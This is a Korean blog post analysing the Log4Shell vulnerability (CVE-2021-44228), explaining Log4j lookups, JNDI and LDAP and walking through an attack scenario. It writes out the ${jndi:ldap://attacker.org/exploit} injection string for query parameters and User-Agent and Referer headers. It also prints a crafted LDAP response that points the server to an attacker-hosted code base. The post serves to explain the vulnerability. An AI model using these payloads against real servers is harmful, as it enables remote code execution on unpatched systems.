Apache Log4j (CVE-2021-44228) 취약점 분석

Simcurity·2023년 4월 7일
0

취약점 분석

목록 보기
1/1
post-thumbnail

1. 개요

apache의 오픈 소스 로깅 라이브러리인 Log4j (log for java)는 콘솔 및 파일출력 형태의 로깅을 지원하고 XML, Properties로 환경구성이 가능해 다수의 기업이나 소프트웨어에서 활용하고 자바 웹 어플리케이션에서 프로그램의 기록을 남기기 위해 사용하는 로깅 도구로 프로그램 실행 시 자동으로 로그를 남기는 기능을 합니다. 추후에 개발자들이 디버깅이나 에러 분석을 위해 사용됩니다.
log4j info()로 호출합니다.

2013년에 JNDOLookup plugin 기능을 추가하여 해당 구문의 값을 출력해주는 기능이 생기게 되었습니다.
해당 로깅 기능에서 RCE가 가능한 취약점이 발견되었고 CVSS는 10.0 이라는 매우 치명적인 평가를 받았습니다.


2. 취약점 근황

JNDILookup piugin 기능이 추가된지 8년 후인 2021년에 Log4Shell 취약점이 공개된 이후
북한, 중국, 이란, 터키 등에서 사이버 공격이 급증되었습니다.
일단 2015년 EOS(end of service)된 log4j이후에는 log4j를 기반으로 유사한 logback나 log4j2가 대체하고 있다고합니다.
해당 취약점 발견을 시작으로 CVE-2021-45046, CVE-2021-4104 등 8개의 취약점이 보고되었고 LOGBACK에서도 CVE-2021-42550 취약점이 추가로 보고되는 등 현재까지도 진행형입니다.
또한 CVE-2021-44228 취약점 발견 이후 log4j의 소스코드 리뷰 등으로 역직렬화, DoS, RCE 취약점이 추가로 발견 되고 있는 중입니다.



3. log4j 취약점 개요

일단 공격자는 다음 3가지의 기능을 사용합니다.

Log4j JNDILookup 기능
JNDI
LDAP

1) Log4j JNDILookup 기능이란?

log4j 취약점의 가장 큰 화근으로 2013년 JNDILookup plugin (Log4j-313) 기능을 추가되었습니다.
콘솔 및 파일출력 형태의 로깅을 지원하는 Log4j (log for java)의 기능으로 Looups을 사용하면 출력하는 로그에 시스템 속성 값 등을 변수 혹은 예약어로 출력할 수 있는 기능입니다.
예를 들어, ${prefix:xxxx} 형태로 전달하면 log4j 내부에서 파싱(pharsing)을 하고 xxxx 값을 prefix의 기능을 수행한 형태로 출력을 해줍니다.

2) JNDI 란?

JNDI란 Java Naming and Directory Interface로 자바에서 디렉터리를 이용하여 데이터를 호출할 수 있게 해주는 디렉터리 서비스입니다.
JNDI는 다양한 디렉터리 서비스를 이용할 수 있게하는 CORBA COS. Java RMI Registry, LDAP등의 SPI를 제공한다. 이 중에 LDAP가 취약점의 중심에 있습니다.

예를 들어, 데이터베이스나 LDAP 서버에서 정보를 가져옵니다.
Java 어플리케이션이 조회를 수행하면 JNDI를 거치고 Java API에서 (LDAP나 RMI, DNS) 등과 같은 프로토콜을 사용해 java 객체를 검색할 수 있도록 하는 Java API입니다.
이 jndi는 LDAP에서 prefix로 사용될 수 있습니다.

${jndi:xxxxx}

3) LDAP 란?

LDAP이란 Lightweight Directory Access Protocol로 사용자, 시스템, 네트워크, 서비스 등의 정보를 공유하기 위한 목적으로 사용하는 프로토콜입니다. 사용자 정보를 중앙 집중적으로 관리하는데 유용합니다.
LDAP 프로토콜은 조직이나 개체, 인터넷이나 기업 내의 인트라넷 같은 네트워크 상에 위치한 파일이나 자원(resource) 등의 위치를 찾을 수 있도록 돕습니다. 외부의 것도 접근 가능
이 프로토콜을 지원하는 서버의 서비스를 이용하면 연결된 네트워크 내에 자원들을 쉽게 찾을 수 있습니다.


해당 공격은 2013년 이후로 8년간 가려진 공격에 있다가 2021년 알려진 공격으로 전환되었다고 볼 수 있습니다.


4. 취약점 상세 분석

해당 취약점은 자바 어플리케이션 쪽에서 발생합니다.
예를 들어

Hashtable env = ner Hashtable();
env.put(Context.INITIAL_CONTENT_FACTORY,
	"com.sun.jndi.ldap.LdapCtxFactory"); 	# LDAP에서 데이터 추출한다는 뜻
env.put(Cintext.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");
# ldap 서버에 JNDITutorial 오브젝트를 찾아 속성을 읽어 들이게 된다.

Log4shell (CVE-2021-44228, Log4j) 취약점의 경우
JNDI Lookup을 통해 '{jndi:ldap://example.com/a}'의 문자열을 통해 LDAP URL을 제어할 수 있게 됩니다.
그 이유는 Log4j의 문법은 ${prefix:name}의 형식인데 Lookup을 통해 name을 가져오는 기능이 존재하기 때문입니다.
즉, 공격자는 ${jndi:ladp://attacker.org:389/exploit} 와 같이 수정하여 웹 애플리케이션에서 출력을 시키면 됩니다.


5. 시나리오

1) 공격자의 요청 조작

웹 애플리케이션에서 출력될 값 조작
GET방식 경우 해당 페이지의 특정 매개변수의 값을 GET방식의 쿼리스트링을 통해 ${jndi:ldap://attacker.org/exploit}로 조작하고 자주 노출되는 HTTP의 헤더 값도 변조

?q=${jndi:ldap://attacker.org/exploit}  => q 매개 변수 값 변조
User-Agent나 Referer값을 ${jndi:ldap://attacker.org/exploit}로 변조

2) 웹 서버 -> 웹 애플리케이션 전달

요청을 받은 웹 서버는 전달받은 매개변수를 웹 애플리케이션으로 전달

3) 변조된 명령 실행

웹 애플리케이션에서 만약 User-Agent 헤더 필드를 기록하기 위해 log4j info() 실행 시 변조된 헤더 필드를 인식하여 exploit 실행

4) LDAP 쿼리 질의

변조된 공격자의 서버로 질의
DN(Distinguish name)이 exploit라는 데이터 찾음

5) 공격자 LDAP 수신

공격자가 자신의 서버에 소유한 LDAP에서 요청을 수신하고

dn: exploit
javaClassName: exploit
javaCodeBase: http://attacker.org
objectClass: javaNamingReference
javaFactory: exploitFactory

이와 같이 변조된 LDAP응답 전달

6) 조회한 결과 개체 위치로 응답

공격자의 LDAP에서 받은 변조된 데이터로 인해 http://attacker.org로 원격 개체를 요청

7) 악의적인 명령 전달

공격자는 악의적인 명령이 악성 원격 코드 실행 페이로드를 전달합니다.

이 후, 해당 악성 페이로드가 log4j를 실행하는 곳에서 실행되어 원격 코드를 수행합니다.

0개의 댓글